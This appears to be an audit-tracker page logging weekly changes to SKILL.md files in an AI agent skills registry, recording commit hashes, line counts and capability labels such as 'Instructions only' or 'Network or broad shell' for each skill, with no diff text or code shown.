First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/expo-dev-client/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/expo-dom/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/expo-native-ui/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/expo-upgrade/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/fastapi/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/fastapi-python/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/fastapi-templates/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/fastmcp/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/flask-api-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/fluentui-blazor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/flutter-animations/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/flutter-expert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/flutter-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/frontend-design/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/generating-sorbet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/generating-sorbet-inline/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/golang-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/golang-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/gsap-core/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/gsap-frameworks/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/gsap-performance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/gsap-plugins/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/gsap-react/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/gsap-scrolltrigger/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/gsap-timeline/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/gsap-utils/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/hono/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/implement-background-job/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/instantdb/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/java-coding-standards/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/java-docs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/java-springboot/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/kotlin-tooling-agp9-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/laravel-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/laravel-specialist/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/machine-learning/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/migrate-to-vinext/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/neon-postgres/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/nestjs-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/next-cache-components-adoption/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/nodejs-backend-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/nodejs-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/nodejs-express-server/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/nuxt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/organization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/oxlint/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/pandas-data-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/pandas-pro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/php-pro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/plan-tests/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/playwright-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/pr_review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/prisma-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/prisma-client-api/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/prisma-database-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/prisma-postgres/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/pydantic/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/python-background-jobs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/python-executor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/python-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/python-testing-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/rails-guides/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/rails-upgrade/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/react-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/react-hook-form/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/react-three-fiber/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/redis-core/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/refactor-module/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/reference-compiler-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/reference-core/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/reference-signal-forms/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

